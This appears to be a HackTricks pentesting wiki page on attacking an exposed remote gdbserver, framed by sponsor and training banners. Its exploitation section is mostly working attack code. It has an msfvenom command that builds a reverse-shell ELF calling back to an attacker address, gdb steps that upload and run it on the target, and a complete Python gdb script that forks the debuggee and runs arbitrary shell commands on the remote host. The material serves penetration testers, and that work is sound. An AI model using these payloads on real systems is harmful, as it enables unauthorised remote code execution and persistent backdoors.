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226 lines
8.9 KiB
Markdown
226 lines
8.9 KiB
Markdown
# Pentesting Remote GdbServer
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
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**Get a hacker's perspective on your web apps, network, and cloud**
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**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
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{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
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## **Basic Information**
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**gdbserver** is a tool that enables the debugging of programs remotely. It runs alongside the program that needs debugging on the same system, known as the "target." This setup allows the **GNU Debugger** to connect from a different machine, the "host," where the source code and a binary copy of the debugged program are stored. The connection between **gdbserver** and the debugger can be made over TCP or a serial line, allowing for versatile debugging setups.
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You can make a **gdbserver listen in any port** and at the moment **nmap is not capable of recognising the service**.
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## Exploitation
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### Upload and Execute
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You can easily create an **elf backdoor with msfvenom**, upload it and execute is:
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```bash
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# Trick shared by @B1n4rySh4d0w
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msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
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chmod +x binary.elf
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gdb binary.elf
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# Set remote debuger target
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target extended-remote 10.10.10.11:1337
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# Upload elf file
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remote put binary.elf binary.elf
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# Set remote executable file
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set remote exec-file /home/user/binary.elf
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# Execute reverse shell executable
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run
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# You should get your reverse-shell
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```
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### Execute arbitrary commands
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There is another way to **make the debugger execute arbitrary commands via a** [**python custom script taken from here**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
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```bash
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# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
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target extended-remote 192.168.1.4:2345
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# Load our custom gdb command `rcmd`.
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source ./remote-cmd.py
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# Change to a trusty binary and run it to load it
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set remote exec-file /bin/bash
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r
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# Run until a point where libc has been loaded on the remote process, e.g. start of main().
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tb main
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r
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# Run the remote command, e.g. `ls`.
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rcmd ls
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```
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First of all **create locally this script**:
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{% code title="remote-cmd.py" %}
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```python
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#!/usr/bin/env python3
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import gdb
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import re
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import traceback
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import uuid
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class RemoteCmd(gdb.Command):
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def __init__(self):
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self.addresses = {}
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self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
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gdb.write(f"Using tmp output file: {self.tmp_file}.\n")
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gdb.execute("set detach-on-fork off")
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gdb.execute("set follow-fork-mode parent")
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gdb.execute("set max-value-size unlimited")
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gdb.execute("set pagination off")
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gdb.execute("set print elements 0")
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gdb.execute("set print repeats 0")
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super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)
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def preload(self):
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for symbol in [
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"close",
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"execl",
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"fork",
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"free",
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"lseek",
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"malloc",
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"open",
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"read",
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]:
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self.load(symbol)
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def load(self, symbol):
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if symbol not in self.addresses:
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address_string = gdb.execute(f"info address {symbol}", to_string=True)
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match = re.match(
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f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
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)
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if match and len(match.groups()) > 0:
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self.addresses[symbol] = match.groups()[0]
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else:
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raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')
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return self.addresses[symbol]
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def output(self):
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# From `fcntl-linux.h`
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O_RDONLY = 0
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gdb.execute(
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f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
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)
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# From `stdio.h`
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SEEK_SET = 0
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SEEK_END = 2
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gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
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gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
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if int(gdb.convenience_variable("len")) <= 0:
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gdb.write("No output was captured.")
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return
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gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
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gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
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gdb.execute('printf "%s\\n", (char*) $mem')
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gdb.execute(f'call (int){self.load("close")}($fd)')
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gdb.execute(f'call (int){self.load("free")}($mem)')
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def invoke(self, arg, from_tty):
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try:
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self.preload()
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is_auto_solib_add = gdb.parameter("auto-solib-add")
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gdb.execute("set auto-solib-add off")
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parent_inferior = gdb.selected_inferior()
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gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
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child_pid = gdb.convenience_variable("child_pid")
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child_inferior = list(
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filter(lambda x: x.pid == child_pid, gdb.inferiors())
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)[0]
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gdb.execute(f"inferior {child_inferior.num}")
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try:
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gdb.execute(
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f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
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)
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except gdb.error as e:
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if (
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"The program being debugged exited while in a function called from GDB"
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in str(e)
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):
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pass
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else:
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raise e
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finally:
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gdb.execute(f"inferior {parent_inferior.num}")
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gdb.execute(f"remove-inferiors {child_inferior.num}")
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self.output()
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except Exception as e:
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gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
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raise e
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finally:
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gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')
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RemoteCmd()
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```
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{% endcode %}
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<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
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**Get a hacker's perspective on your web apps, network, and cloud**
|
|
|
|
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
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|
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{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
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<details>
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|
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<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
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</details>
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{% endhint %}
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